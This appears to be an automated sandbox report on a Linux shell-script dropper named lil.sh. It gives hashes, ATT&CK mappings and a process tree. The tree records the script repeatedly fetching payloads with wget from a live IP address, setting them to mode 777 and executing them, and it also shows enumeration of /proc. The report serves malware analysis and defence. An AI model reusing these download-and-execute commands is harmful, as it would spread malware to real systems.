64e7b02ce2afe734c786e5a8a378edd7252672dfdbfb6cbd39805dbe6e750efb

Analysis

max time kernel
149s
max time network
143s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/07/2026, 05:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 848B
Sample260717-gnvayafv91
SHA256 64e7b02ce2afe734c786e5a8a378edd7252672dfdbfb6cbd39805dbe6e750efb
MD5 4b2d8761f4a71962c44116a657c7ac77
SHA1 545a5b785b40744a780044debb9c12cb202fe858
SHA512 51b9b79bedd2c9be96b88afab7e3139f978a3ed5b7eb2f5ce338d714222ddae70d374986e94ed97741dbbe45a174d1de3e63e347a2eba404ac3b2123bbe5bf88
TLSH
T1E901ABCAD560490040EAD95D22D75064F871C3C7164B8F79BF6DB43DEB9CE04B066F88
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
778	chmod
797	chmod
802	chmod
806	chmod
811	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/JHkP	780	lil.sh

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	JHkP

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/43/cmdline	JHkP
File opened for reading	/proc/281/cmdline	JHkP
File opened for reading	/proc/302/cmdline	JHkP
File opened for reading	/proc/796/cmdline	JHkP
File opened for reading	/proc/775/exe	JHkP
File opened for reading	/proc/17/cmdline	JHkP
File opened for reading	/proc/842/exe	JHkP
File opened for reading	/proc/858/cmdline	JHkP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/298/cmdline	JHkP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/817/exe	JHkP
File opened for reading	/proc/26/cmdline	JHkP
File opened for reading	/proc/643/cmdline	JHkP
File opened for reading	/proc/870/cmdline	JHkP
File opened for reading	/proc/642/cmdline	JHkP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/29/cmdline	JHkP
File opened for reading	/proc/27/cmdline	JHkP
File opened for reading	/proc/41/cmdline	JHkP
File opened for reading	/proc/169/cmdline	JHkP
File opened for reading	/proc/582/cmdline	JHkP
File opened for reading	/proc/780/cmdline	JHkP
File opened for reading	/proc/828/exe	JHkP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/15/cmdline	JHkP
File opened for reading	/proc/109/cmdline	JHkP
File opened for reading	/proc/870/exe	JHkP
File opened for reading	/proc/283/exe	JHkP
File opened for reading	/proc/5/cmdline	JHkP
File opened for reading	/proc/827/exe	JHkP
File opened for reading	/proc/842/cmdline	JHkP
File opened for reading	/proc/12/cmdline	JHkP
File opened for reading	/proc/634/cmdline	JHkP
File opened for reading	/proc/854/exe	JHkP
File opened for reading	/proc/108/cmdline	JHkP
File opened for reading	/proc/835/exe	JHkP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/645/exe	JHkP
File opened for reading	/proc/295/exe	JHkP
File opened for reading	/proc/862/exe	JHkP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/800/cmdline	JHkP
File opened for reading	/proc/804/cmdline	JHkP
File opened for reading	/proc/809/cmdline	JHkP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/324/cmdline	JHkP
File opened for reading	/proc/775/cmdline	JHkP
File opened for reading	/proc/872/cmdline	JHkP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/633/exe	JHkP
File opened for reading	/proc/664/exe	JHkP
File opened for reading	/proc/781/exe	JHkP
File opened for reading	/proc/42/cmdline	JHkP
File opened for reading	/proc/806/cmdline	JHkP
File opened for reading	/proc/821/cmdline	JHkP
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/JHkP	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:645
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:646
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:652
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:656
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  PID:661
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  PID:666
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:670
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:672
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:675
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/140/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/185/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/220/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/281/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/283/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/293/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/295/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/298/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/302/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/315/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/322/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/324/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/566/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/590/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/591/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:734
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:753
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  PID:756
- /bin/rm
  rm -rf JHkP
  2⤵
  PID:758
- /usr/bin/wget
  wget http://129.121.110.105/JHkP
  2⤵
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod 777 JHkP
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/JHkP
  ./JHkP lilin
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:780
- /bin/rm
  rm -rf W8H
  2⤵
  PID:784
- /usr/bin/wget
  wget http://129.121.110.105/W8H
  2⤵
  PID:794
- /bin/chmod
  chmod 777 W8H
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/W8H
  ./W8H lilin
  2⤵
  PID:798
- /bin/rm
  rm -rf 0KXs
  2⤵
  PID:800
- /usr/bin/wget
  wget http://129.121.110.105/0KXs
  2⤵
  PID:801
- /bin/chmod
  chmod 777 0KXs
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/0KXs
  ./0KXs lilin
  2⤵
  PID:803
- /bin/rm
  rm -rf oNrI
  2⤵
  PID:804
- /usr/bin/wget
  wget http://129.121.110.105/oNrI
  2⤵
  PID:805
- /bin/chmod
  chmod 777 oNrI
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/oNrI
  ./oNrI lilin
  2⤵
  PID:807
- /bin/rm
  rm -rf EpD
  2⤵
  PID:808
- /usr/bin/wget
  wget http://129.121.110.105/EpD
  2⤵
  PID:810
- /bin/chmod
  chmod 777 EpD
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/EpD
  ./EpD lilin
  2⤵
  PID:812
- /bin/rm
  rm -rf lil
  2⤵
  PID:813

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

JHkP

Path /tmp/JHkP
Size 62KB
SHA256 3f52a604a49975db49f2e0aa15d4a9f4f861b27204e2995f3dbb9db258010a96
MD5 f3a5becc38831782c37c22664f18f9a4
SHA1 7f01decdafabb24e4008b43ec57788ca0a82906e
SHA512 125b1bcd0ec070ec17c99133f3a5b89bb497cff0ef480a610eccbad13a817fd27a3df2b5928ed75ab33862b7f3b1291f8806360c6e9bd4876612869f798c0b4e
SSDEEP 1536:xo6z+eWTkm54Oq3e9ONeb5IbC1+VCaShmDkNAyRZyoZ7khFun9ziWSi:xo6TW4Ic2OcWC1+oaS7Ai8aAhFun9zi
TLSH
T142530765B9919B46C2D12277FF1E834C332B63FCE3DA7213D9196B62278B9160E2F441
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads